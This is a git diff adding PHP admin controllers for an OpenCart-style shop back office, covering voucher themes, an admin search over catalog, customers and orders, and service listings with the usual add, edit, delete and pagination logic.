+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('sale/voucher_theme');
+
+ if (isset($this->request->post['selected']) && $this->validateDelete()) {
+ foreach ($this->request->post['selected'] as $voucher_theme_id) {
+ $this->model_sale_voucher_theme->deleteVoucherTheme($voucher_theme_id);
+ }
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $this->response->redirect($this->url->link('sale/voucher_theme', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+
+ $this->getList();
+ }
+
+ protected function getList() {
+ if (isset($this->request->get['sort'])) {
+ $sort = $this->request->get['sort'];
+ } else {
+ $sort = 'vtd.name';
+ }
+
+ if (isset($this->request->get['order'])) {
+ $order = $this->request->get['order'];
+ } else {
+ $order = 'ASC';
+ }
+
+ if (isset($this->request->get['page'])) {
+ $page = (int)$this->request->get['page'];
+ } else {
+ $page = 1;
+ }
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('sale/voucher_theme', 'user_token=' . $this->session->data['user_token'] . $url, true)
+ );
+
+ $data['add'] = $this->url->link('sale/voucher_theme/add', 'user_token=' . $this->session->data['user_token'] . $url, true);
+ $data['delete'] = $this->url->link('sale/voucher_theme/delete', 'user_token=' . $this->session->data['user_token'] . $url, true);
+
+ $data['voucher_themes'] = array();
+
+ $filter_data = array(
+ 'sort' => $sort,
+ 'order' => $order,
+ 'start' => ($page - 1) * $this->config->get('config_limit_admin'),
+ 'limit' => $this->config->get('config_limit_admin')
+ );
+
+ $voucher_theme_total = $this->model_sale_voucher_theme->getTotalVoucherThemes();
+
+ $results = $this->model_sale_voucher_theme->getVoucherThemes($filter_data);
+
+ foreach ($results as $result) {
+ $data['voucher_themes'][] = array(
+ 'voucher_theme_id' => $result['voucher_theme_id'],
+ 'name' => $result['name'],
+ 'edit' => $this->url->link('sale/voucher_theme/edit', 'user_token=' . $this->session->data['user_token'] . '&voucher_theme_id=' . $result['voucher_theme_id'] . $url, true)
+ );
+ }
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ if (isset($this->session->data['success'])) {
+ $data['success'] = $this->session->data['success'];
+
+ unset($this->session->data['success']);
+ } else {
+ $data['success'] = '';
+ }
+
+ if (isset($this->request->post['selected'])) {
+ $data['selected'] = (array)$this->request->post['selected'];
+ } else {
+ $data['selected'] = array();
+ }
+
+ $url = '';
+
+ if ($order == 'ASC') {
+ $url .= '&order=DESC';
+ } else {
+ $url .= '&order=ASC';
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $data['sort_name'] = $this->url->link('sale/voucher_theme', 'user_token=' . $this->session->data['user_token'] . '&sort=name' . $url, true);
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ $pagination = new Pagination();
+ $pagination->total = $voucher_theme_total;
+ $pagination->page = $page;
+ $pagination->limit = $this->config->get('config_limit_admin');
+ $pagination->url = $this->url->link('sale/voucher_theme', 'user_token=' . $this->session->data['user_token'] . $url . '&page={page}', true);
+
+ $data['pagination'] = $pagination->render();
+
+ $data['results'] = sprintf($this->language->get('text_pagination'), ($voucher_theme_total) ? (($page - 1) * $this->config->get('config_limit_admin')) + 1 : 0, ((($page - 1) * $this->config->get('config_limit_admin')) > ($voucher_theme_total - $this->config->get('config_limit_admin'))) ? $voucher_theme_total : ((($page - 1) * $this->config->get('config_limit_admin')) + $this->config->get('config_limit_admin')), $voucher_theme_total, ceil($voucher_theme_total / $this->config->get('config_limit_admin')));
+
+ $data['sort'] = $sort;
+ $data['order'] = $order;
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('sale/voucher_theme_list', $data));
+ }
+
+ protected function getForm() {
+ $data['text_form'] = !isset($this->request->get['voucher_theme_id']) ? $this->language->get('text_add') : $this->language->get('text_edit');
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ if (isset($this->error['name'])) {
+ $data['error_name'] = $this->error['name'];
+ } else {
+ $data['error_name'] = array();
+ }
+
+ if (isset($this->error['image'])) {
+ $data['error_image'] = $this->error['image'];
+ } else {
+ $data['error_image'] = '';
+ }
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('sale/voucher_theme', 'user_token=' . $this->session->data['user_token'] . $url, true)
+ );
+
+ if (!isset($this->request->get['voucher_theme_id'])) {
+ $data['action'] = $this->url->link('sale/voucher_theme/add', 'user_token=' . $this->session->data['user_token'] . $url, true);
+ } else {
+ $data['action'] = $this->url->link('sale/voucher_theme/edit', 'user_token=' . $this->session->data['user_token'] . '&voucher_theme_id=' . $this->request->get['voucher_theme_id'] . $url, true);
+ }
+
+ $data['cancel'] = $this->url->link('sale/voucher_theme', 'user_token=' . $this->session->data['user_token'] . $url, true);
+
+ if (isset($this->request->get['voucher_theme_id']) && ($this->request->server['REQUEST_METHOD'] != 'POST')) {
+ $voucher_theme_info = $this->model_sale_voucher_theme->getVoucherTheme($this->request->get['voucher_theme_id']);
+ }
+
+ $data['user_token'] = $this->session->data['user_token'];
+
+ $this->load->model('localisation/language');
+
+ $data['languages'] = $this->model_localisation_language->getLanguages();
+
+ if (isset($this->request->post['voucher_theme_description'])) {
+ $data['voucher_theme_description'] = $this->request->post['voucher_theme_description'];
+ } elseif (isset($this->request->get['voucher_theme_id'])) {
+ $data['voucher_theme_description'] = $this->model_sale_voucher_theme->getVoucherThemeDescriptions($this->request->get['voucher_theme_id']);
+ } else {
+ $data['voucher_theme_description'] = array();
+ }
+
+ if (isset($this->request->post['image'])) {
+ $data['image'] = $this->request->post['image'];
+ } elseif (!empty($voucher_theme_info)) {
+ $data['image'] = $voucher_theme_info['image'];
+ } else {
+ $data['image'] = '';
+ }
+
+ $this->load->model('tool/image');
+
+ if (isset($this->request->post['image']) && is_file(DIR_IMAGE . $this->request->post['image'])) {
+ $data['thumb'] = $this->model_tool_image->resize($this->request->post['image'], 100, 100);
+ } elseif (!empty($voucher_theme_info) && is_file(DIR_IMAGE . $voucher_theme_info['image'])) {
+ $data['thumb'] = $this->model_tool_image->resize($voucher_theme_info['image'], 100, 100);
+ } else {
+ $data['thumb'] = $this->model_tool_image->resize('no_image.png', 100, 100);
+ }
+
+ $data['placeholder'] = $this->model_tool_image->resize('no_image.png', 100, 100);
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('sale/voucher_theme_form', $data));
+ }
+
+ protected function validateForm() {
+ if (!$this->user->hasPermission('modify', 'sale/voucher_theme')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ foreach ($this->request->post['voucher_theme_description'] as $language_id => $value) {
+ if ((utf8_strlen($value['name']) < 3) || (utf8_strlen($value['name']) > 32)) {
+ $this->error['name'][$language_id] = $this->language->get('error_name');
+ }
+ }
+
+ if (!$this->request->post['image']) {
+ $this->error['image'] = $this->language->get('error_image');
+ }
+
+ return !$this->error;
+ }
+
+ protected function validateDelete() {
+ if (!$this->user->hasPermission('modify', 'sale/voucher_theme')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ $this->load->model('sale/voucher');
+
+ foreach ($this->request->post['selected'] as $voucher_theme_id) {
+ $voucher_total = $this->model_sale_voucher->getTotalVouchersByVoucherThemeId($voucher_theme_id);
+
+ if ($voucher_total) {
+ $this->error['warning'] = sprintf($this->language->get('error_voucher'), $voucher_total);
+ }
+ }
+
+ return !$this->error;
+ }
+}
\ No newline at end of file
diff --git a/public/admin/controller/search/search.php b/public/admin/controller/search/search.php
new file mode 100644
index 0000000..a623708
--- /dev/null
+++ b/public/admin/controller/search/search.php
@@ -0,0 +1,147 @@
+session->data['user_token'])) {
+ return;
+ }
+
+ $this->load->language('search/search');
+
+ $data = array();
+
+ $data['text_search_options'] = $this->language->get('text_search_options');
+ $data['text_catalog'] = $this->language->get('text_catalog');
+ $data['text_customers'] = $this->language->get('text_customers');
+ $data['text_orders'] = $this->language->get('text_orders');
+ $data['text_catalog_placeholder'] = $this->language->get('text_catalog_placeholder');
+ $data['text_customers_placeholder'] = $this->language->get('text_customers_placeholder');
+ $data['text_orders_placeholder'] = $this->language->get('text_orders_placeholder');
+ $data['text_search_placeholder'] = $this->language->get('text_search_placeholder');
+
+ $data['user_token'] = $this->session->data['user_token'];
+
+ return $this->load->view('search/search', $data);
+ }
+
+ public function search(){
+
+
+ $this->load->language('search/search');
+ $data['text_products'] = $this->language->get('text_products');
+ $data['text_categories'] = $this->language->get('text_categories');
+ $data['text_manufacturers'] = $this->language->get('text_manufacturers');
+ $data['text_orders'] = $this->language->get('text_orders');
+ $data['text_order_id'] = $this->language->get('text_order_id');
+ $data['text_customers'] = $this->language->get('text_customers');
+ $data['text_no_result'] = $this->language->get('text_no_result');
+
+ $data['user_token'] = $this->session->data['user_token'];
+
+ if(!empty($this->request->get['query'])) {
+ $_data['query'] = $this->request->get['query'];
+ }
+ else{
+ $json['error'] = $this->language->get('text_empty_query');
+ }
+
+ if(!empty($this->request->get['search-option'])) {
+ $search_option = $this->request->get['search-option'];
+ }
+ else{
+ $search_option = 'catalog';
+ }
+
+ if(!empty($json['error'])) {
+ $this->response->setOutput(json_encode($json));
+ return;
+ }
+
+ $this->load->model('tool/image');
+ $data['no_image'] = $this->model_tool_image->resize('no_image.png', 30, 30);
+
+ $this->load->model('search/search');
+
+ switch($search_option) {
+ case 'catalog':
+ // Get products
+ $data['products'] = $this->model_search_search->getProducts($_data);
+
+ foreach($data['products'] as $key => $product){
+ if(!empty($product['image'])) {
+ $data['products'][$key]['image'] = $this->model_tool_image->resize($product['image'], 30, 30);
+ }
+ else{
+ $data['products'][$key]['image'] = $this->model_tool_image->resize('no_image.png', 30, 30);
+ }
+
+ $data['products'][$key]['url'] = $this->url->link('catalog/product/edit', 'user_token=' . $this->session->data['user_token'] . '&product_id=' . $product['product_id'], true);
+ }
+
+
+
+ // Get categories
+ $data['categories'] = $this->model_search_search->getCategories($_data);
+
+ foreach($data['categories'] as $key => $category){
+ if(!empty($category['image'])) {
+ $data['categories'][$key]['image'] = $this->model_tool_image->resize($category['image'], 30, 30);
+ }
+ else{
+ $data['categories'][$key]['image'] = $this->model_tool_image->resize('no_image.png', 30, 30);
+ }
+
+ $data['categories'][$key]['url'] = $this->url->link('catalog/category/edit', 'user_token=' . $this->session->data['user_token'] . '&category_id=' . $category['category_id'], true);
+ }
+
+ // Get manufacturers
+ $data['manufacturers'] = $this->model_search_search->getManufacturers($_data);
+
+ foreach($data['manufacturers'] as $key => $manufacturer){
+ if(!empty($category['image'])) {
+ $data['manufacturers'][$key]['image'] = $this->model_tool_image->resize($manufacturer['image'], 30, 30);
+ }
+ else{
+ $data['manufacturers'][$key]['image'] = $this->model_tool_image->resize('no_image.png', 30, 30);
+ }
+
+ $data['manufacturers'][$key]['url'] = $this->url->link('catalog/manufacturer/edit', 'user_token=' . $this->session->data['user_token'] . '&manufacturer_id=' . $manufacturer['manufacturer_id'], true);
+ }
+
+ $json['result'] = $this->load->view('search/catalog_result', $data);
+
+ break;
+ case 'customers':
+ $data['customers'] = $this->model_search_search->getCustomers($_data);
+
+
+
+ foreach($data['customers'] as $key => $customer){
+ $data['customers'][$key]['url'] = $this->url->link('customer/customer/edit', 'user_token=' . $this->session->data['user_token'] . '&customer_id=' . $customer['customer_id'], true);
+ }
+
+
+ $json['result'] = $this->load->view('search/customers_result', $data);
+
+
+ break;
+ case 'orders':
+ $data['orders'] = $this->model_search_search->getOrders($_data);
+
+ foreach($data['orders'] as $key => $order){
+ $data['orders'][$key]['url'] = $this->url->link('sale/order/info', 'user_token=' . $this->session->data['user_token'] . '&order_id=' . $order['order_id'], true);
+ }
+
+ $json['result'] = $this->load->view('search/orders_result', $data);
+ break;
+ default:
+ break;
+ }
+
+
+
+ $this->response->setOutput(json_encode($json));
+ }
+}
diff --git a/public/admin/controller/service/service.php b/public/admin/controller/service/service.php
new file mode 100644
index 0000000..3fb876d
--- /dev/null
+++ b/public/admin/controller/service/service.php
@@ -0,0 +1,896 @@
+load->language('service/service');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('service/service');
+
+ $this->getList();
+ }
+
+ public function add() {
+ $this->load->language('service/service');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('service/service');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validateForm()) {
+ $this->model_service_service->addService($this->request->post);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $url = '';
+
+ if (isset($this->request->get['filter_name'])) {
+ $url .= '&filter_name=' . urlencode(html_entity_decode($this->request->get['filter_name'], ENT_QUOTES, 'UTF-8'));
+ }
+
+ if (isset($this->request->get['filter_status'])) {
+ $url .= '&filter_status=' . $this->request->get['filter_status'];
+ }
+
+ if (isset($this->request->get['filter_noindex'])) {
+ $url .= '&filter_noindex=' . $this->request->get['filter_noindex'];
+ }
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $this->response->redirect($this->url->link('service/service', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+
+ $this->getForm();
+ }
+
+ public function edit() {
+ $this->load->language('service/service');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('service/service');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validateForm()) {
+ $this->model_service_service->editService($this->request->get['service_id'], $this->request->post);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $url = '';
+
+ if (isset($this->request->get['filter_name'])) {
+ $url .= '&filter_name=' . urlencode(html_entity_decode($this->request->get['filter_name'], ENT_QUOTES, 'UTF-8'));
+ }
+
+ if (isset($this->request->get['filter_status'])) {
+ $url .= '&filter_status=' . $this->request->get['filter_status'];
+ }
+
+ if (isset($this->request->get['filter_noindex'])) {
+ $url .= '&filter_noindex=' . $this->request->get['filter_noindex'];
+ }
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $this->response->redirect($this->url->link('service/service', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+
+ $this->getForm();
+ }
+
+ public function delete() {
+ $this->load->language('service/service');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('service/service');
+
+ if (isset($this->request->post['selected']) && $this->validateDelete()) {
+ foreach ($this->request->post['selected'] as $service_id) {
+ $this->model_service_service->deleteService($service_id);
+ }
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $url = '';
+
+ if (isset($this->request->get['filter_name'])) {
+ $url .= '&filter_name=' . urlencode(html_entity_decode($this->request->get['filter_name'], ENT_QUOTES, 'UTF-8'));
+ }
+
+ if (isset($this->request->get['filter_status'])) {
+ $url .= '&filter_status=' . $this->request->get['filter_status'];
+ }
+
+ if (isset($this->request->get['filter_noindex'])) {
+ $url .= '&filter_noindex=' . $this->request->get['filter_noindex'];
+ }
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $this->response->redirect($this->url->link('service/service', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+
+ $this->getList();
+ }
+
+ public function copy() {
+ $this->load->language('service/service');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('service/service');
+
+ if (isset($this->request->post['selected']) && $this->validateCopy()) {
+ foreach ($this->request->post['selected'] as $service_id) {
+ $this->model_service_service->copyService($service_id);
+ }
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $url = '';
+
+ if (isset($this->request->get['filter_name'])) {
+ $url .= '&filter_name=' . urlencode(html_entity_decode($this->request->get['filter_name'], ENT_QUOTES, 'UTF-8'));
+ }
+
+ if (isset($this->request->get['filter_status'])) {
+ $url .= '&filter_status=' . $this->request->get['filter_status'];
+ }
+
+ if (isset($this->request->get['filter_noindex'])) {
+ $url .= '&filter_noindex=' . $this->request->get['filter_noindex'];
+ }
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $this->response->redirect($this->url->link('service/service', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+
+ $this->getList();
+ }
+
+ protected function getList() {
+ if (isset($this->request->get['filter_name'])) {
+ $filter_name = $this->request->get['filter_name'];
+ } else {
+ $filter_name = null;
+ }
+
+ if (isset($this->request->get['filter_status'])) {
+ $filter_status = $this->request->get['filter_status'];
+ } else {
+ $filter_status = null;
+ }
+
+ if (isset($this->request->get['filter_noindex'])) {
+ $filter_noindex = $this->request->get['filter_noindex'];
+ } else {
+ $filter_noindex = null;
+ }
+
+ if (isset($this->request->get['sort'])) {
+ $sort = $this->request->get['sort'];
+ } else {
+ $sort = 'pd.name';
+ }
+
+ if (isset($this->request->get['order'])) {
+ $order = $this->request->get['order'];
+ } else {
+ $order = 'ASC';
+ }
+
+ if (isset($this->request->get['page'])) {
+ $page = $this->request->get['page'];
+ } else {
+ $page = 1;
+ }
+
+ $url = '';
+
+ if (isset($this->request->get['filter_name'])) {
+ $url .= '&filter_name=' . urlencode(html_entity_decode($this->request->get['filter_name'], ENT_QUOTES, 'UTF-8'));
+ }
+
+ if (isset($this->request->get['filter_status'])) {
+ $url .= '&filter_status=' . $this->request->get['filter_status'];
+ }
+
+ if (isset($this->request->get['filter_noindex'])) {
+ $url .= '&filter_noindex=' . $this->request->get['filter_noindex'];
+ }
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('service/service', 'user_token=' . $this->session->data['user_token'] . $url, true)
+ );
+
+ $data['add'] = $this->url->link('service/service/add', 'user_token=' . $this->session->data['user_token'] . $url, true);
+ $data['copy'] = $this->url->link('service/service/copy', 'user_token=' . $this->session->data['user_token'] . $url, true);
+ $data['delete'] = $this->url->link('service/service/delete', 'user_token=' . $this->session->data['user_token'] . $url, true);
+
+ $data['enabled'] = $this->url->link('service/service/enable', 'user_token=' . $this->session->data['user_token'] . $url, true);
+ $data['disabled'] = $this->url->link('service/service/disable', 'user_token=' . $this->session->data['user_token'] . $url, true);
+
+ $data['services'] = array();
+
+ $filter_data = array(
+ 'filter_name' => $filter_name,
+ 'filter_status' => $filter_status,
+ 'filter_noindex' => $filter_noindex,
+ 'sort' => $sort,
+ 'order' => $order,
+ 'start' => ($page - 1) * $this->config->get('config_limit_admin'),
+ 'limit' => $this->config->get('config_limit_admin')
+ );
+
+ $this->load->model('tool/image');
+
+ $service_total = $this->model_service_service->getTotalServices($filter_data);
+
+ $results = $this->model_service_service->getServices($filter_data);
+
+ foreach ($results as $result) {
+ if (is_file(DIR_IMAGE . $result['image'])) {
+ $image = $this->model_tool_image->resize($result['image'], 40, 40);
+ } else {
+ $image = $this->model_tool_image->resize('no_image.png', 40, 40);
+ }
+
+ $data['services'][] = array(
+ 'service_id' => $result['service_id'],
+ 'image' => $image,
+ 'name' => $result['name'],
+ 'status' => ($result['status']) ? $this->language->get('text_enabled') : $this->language->get('text_disabled'),
+ 'noindex' => ($result['noindex']) ? $this->language->get('text_enabled') : $this->language->get('text_disabled'),
+ 'href_shop' => HTTP_CATALOG . 'index.php?route=service/service/info&service_id=' . ($result['service_id']),
+ 'edit' => $this->url->link('service/service/edit', 'user_token=' . $this->session->data['user_token'] . '&service_id=' . $result['service_id'] . $url, true)
+ );
+ }
+
+ $data['user_token'] = $this->session->data['user_token'];
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ if (isset($this->session->data['success'])) {
+ $data['success'] = $this->session->data['success'];
+
+ unset($this->session->data['success']);
+ } else {
+ $data['success'] = '';
+ }
+
+ if (isset($this->request->post['selected'])) {
+ $data['selected'] = (array)$this->request->post['selected'];
+ } else {
+ $data['selected'] = array();
+ }
+
+ $url = '';
+
+ if (isset($this->request->get['filter_name'])) {
+ $url .= '&filter_name=' . urlencode(html_entity_decode($this->request->get['filter_name'], ENT_QUOTES, 'UTF-8'));
+ }
+
+ if (isset($this->request->get['filter_status'])) {
+ $url .= '&filter_status=' . $this->request->get['filter_status'];
+ }
+
+ if (isset($this->request->get['filter_noindex'])) {
+ $url .= '&filter_noindex=' . $this->request->get['filter_noindex'];
+ }
+
+ if ($order == 'ASC') {
+ $url .= '&order=DESC';
+ } else {
+ $url .= '&order=ASC';
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $data['sort_name'] = $this->url->link('service/service', 'user_token=' . $this->session->data['user_token'] . '&sort=pd.name' . $url, true);
+ $data['sort_status'] = $this->url->link('service/service', 'user_token=' . $this->session->data['user_token'] . '&sort=p.status' . $url, true);
+ $data['sort_noindex'] = $this->url->link('service/service', 'user_token=' . $this->session->data['user_token'] . '&sort=p.noindex' . $url, true);
+ $data['sort_order'] = $this->url->link('service/service', 'user_token=' . $this->session->data['user_token'] . '&sort=p.sort_order' . $url, true);
+
+ $url = '';
+
+ if (isset($this->request->get['filter_name'])) {
+ $url .= '&filter_name=' . urlencode(html_entity_decode($this->request->get['filter_name'], ENT_QUOTES, 'UTF-8'));
+ }
+
+ if (isset($this->request->get['filter_status'])) {
+ $url .= '&filter_status=' . $this->request->get['filter_status'];
+ }
+
+ if (isset($this->request->get['filter_noindex'])) {
+ $url .= '&filter_noindex=' . $this->request->get['filter_noindex'];
+ }
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ $pagination = new Pagination();
+ $pagination->total = $service_total;
+ $pagination->page = $page;
+ $pagination->limit = $this->config->get('config_limit_admin');
+ $pagination->url = $this->url->link('service/service', 'user_token=' . $this->session->data['user_token'] . $url . '&page={page}', true);
+
+ $data['pagination'] = $pagination->render();
+
+ $data['results'] = sprintf($this->language->get('text_pagination'), ($service_total) ? (($page - 1) * $this->config->get('config_limit_admin')) + 1 : 0, ((($page - 1) * $this->config->get('config_limit_admin')) > ($service_total - $this->config->get('config_limit_admin'))) ? $service_total : ((($page - 1) * $this->config->get('config_limit_admin')) + $this->config->get('config_limit_admin')), $service_total, ceil($service_total / $this->config->get('config_limit_admin')));
+
+ $data['filter_name'] = $filter_name;
+ $data['filter_status'] = $filter_status;
+ $data['filter_noindex'] = $filter_noindex;
+
+ $data['sort'] = $sort;
+ $data['order'] = $order;
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('service/service_list', $data));
+ }
+
+ protected function getForm() {
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ if (isset($this->error['name'])) {
+ $data['error_name'] = $this->error['name'];
+ } else {
+ $data['error_name'] = array();
+ }
+
+ if (isset($this->error['meta_title'])) {
+ $data['error_meta_title'] = $this->error['meta_title'];
+ } else {
+ $data['error_meta_title'] = array();
+ }
+
+ if (isset($this->error['meta_h1'])) {
+ $data['error_meta_h1'] = $this->error['meta_h1'];
+ } else {
+ $data['error_meta_h1'] = array();
+ }
+
+ if (isset($this->error['keyword'])) {
+ $data['error_keyword'] = $this->error['keyword'];
+ } else {
+ $data['error_keyword'] = '';
+ }
+
+ $url = '';
+
+ if (isset($this->request->get['filter_name'])) {
+ $url .= '&filter_name=' . urlencode(html_entity_decode($this->request->get['filter_name'], ENT_QUOTES, 'UTF-8'));
+ }
+
+ if (isset($this->request->get['filter_status'])) {
+ $url .= '&filter_status=' . $this->request->get['filter_status'];
+ }
+
+ if (isset($this->request->get['filter_noindex'])) {
+ $url .= '&filter_noindex=' . $this->request->get['filter_noindex'];
+ }
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('service/service', 'user_token=' . $this->session->data['user_token'] . $url, true)
+ );
+
+ if (!isset($this->request->get['service_id'])) {
+ $data['action'] = $this->url->link('service/service/add', 'user_token=' . $this->session->data['user_token'] . $url, true);
+ } else {
+ $data['action'] = $this->url->link('service/service/edit', 'user_token=' . $this->session->data['user_token'] . '&service_id=' . $this->request->get['service_id'] . $url, true);
+ }
+
+ $data['cancel'] = $this->url->link('service/service', 'user_token=' . $this->session->data['user_token'] . $url, true);
+
+ if (isset($this->request->get['service_id']) && ($this->request->server['REQUEST_METHOD'] != 'POST')) {
+ $service_info = $this->model_service_service->getService($this->request->get['service_id']);
+ }
+
+ $data['user_token'] = $this->session->data['user_token'];
+
+ $this->load->model('localisation/language');
+
+ $data['languages'] = $this->model_localisation_language->getLanguages();
+
+ if (isset($this->request->post['service_description'])) {
+ $data['service_description'] = $this->request->post['service_description'];
+ } elseif (isset($this->request->get['service_id'])) {
+ $data['service_description'] = $this->model_service_service->getServiceDescriptions($this->request->get['service_id']);
+ } else {
+ $data['service_description'] = array();
+ }
+
+ $language_id = $this->config->get('config_language_id');
+ if (isset($data['service_description'][$language_id]['name'])) {
+ $data['heading_title'] = $data['service_description'][$language_id]['name'];
+ }
+
+ if (isset($this->request->post['image'])) {
+ $data['image'] = $this->request->post['image'];
+ } elseif (!empty($service_info)) {
+ $data['image'] = $service_info['image'];
+ } else {
+ $data['image'] = '';
+ }
+
+ $this->load->model('tool/image');
+
+ if (isset($this->request->post['image']) && is_file(DIR_IMAGE . $this->request->post['image'])) {
+ $data['thumb'] = $this->model_tool_image->resize($this->request->post['image'], 100, 100);
+ } elseif (!empty($service_info) && is_file(DIR_IMAGE . $service_info['image'])) {
+ $data['thumb'] = $this->model_tool_image->resize($service_info['image'], 100, 100);
+ } else {
+ $data['thumb'] = $this->model_tool_image->resize('no_image.png', 100, 100);
+ }
+
+ $data['placeholder'] = $this->model_tool_image->resize('no_image.png', 100, 100);
+
+ $this->load->model('setting/store');
+
+ $data['stores'] = array();
+
+ $data['stores'][] = array(
+ 'store_id' => 0,
